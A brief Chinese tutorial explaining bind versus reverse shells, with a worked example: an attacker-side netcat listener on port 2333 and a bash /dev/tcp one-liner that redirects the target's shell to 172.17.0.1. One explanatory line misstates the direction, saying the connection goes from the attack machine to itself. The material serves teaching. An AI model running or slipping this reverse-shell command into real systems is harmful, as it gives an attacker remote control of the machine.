正向连接与反向连接
与目标主机建立连接的原理
是利用漏洞执行ShellCode
。
GetShell的实质是:执行ShellCode,将目标主机的Shell重定向到攻击机。拿到Shell利于后续的渗透。
所谓的反弹Shell
是指GetShell的过程由目标主机主动发起
(反向连接)。
正向连接
- 攻击机:
主动
向目标机发起连接,并将其命令行的输入输出转到攻击机。 - 目标机:攻击者
通过攻击打开目标机的某个端口
,目标机在该端口响应攻击机的连接。
反向连接
- 攻击机:
监听本机的某个端口
,等待远程连接。 - 目标机:
主动
向攻击机发起到攻击机的监听端口的连接,并将其命令行的输入输出转到攻击机。
反弹shell适用场景
- 目标机受到防火墙的限制,不能接收连接请求。
- 目标机位于局域网,攻击机无法直接连接。
- 木马的连接方式通常都是反向连接。
利用bash反弹shell示例
- 攻击机IP:172.17.0.1
- 攻击机端口:2333
攻击机开启本地监听
攻击机开启对本地端口2333的监听。
nc -lvp 2333
利用bash反弹shell
利用漏洞执行反弹shell的命令。
从攻击机向攻击机的2333端口发起连接,并将bash的输入与输出重定向到攻击机。
/bin/bash -i > /dev/tcp/172.17.0.1/2333 0<&1 2>&1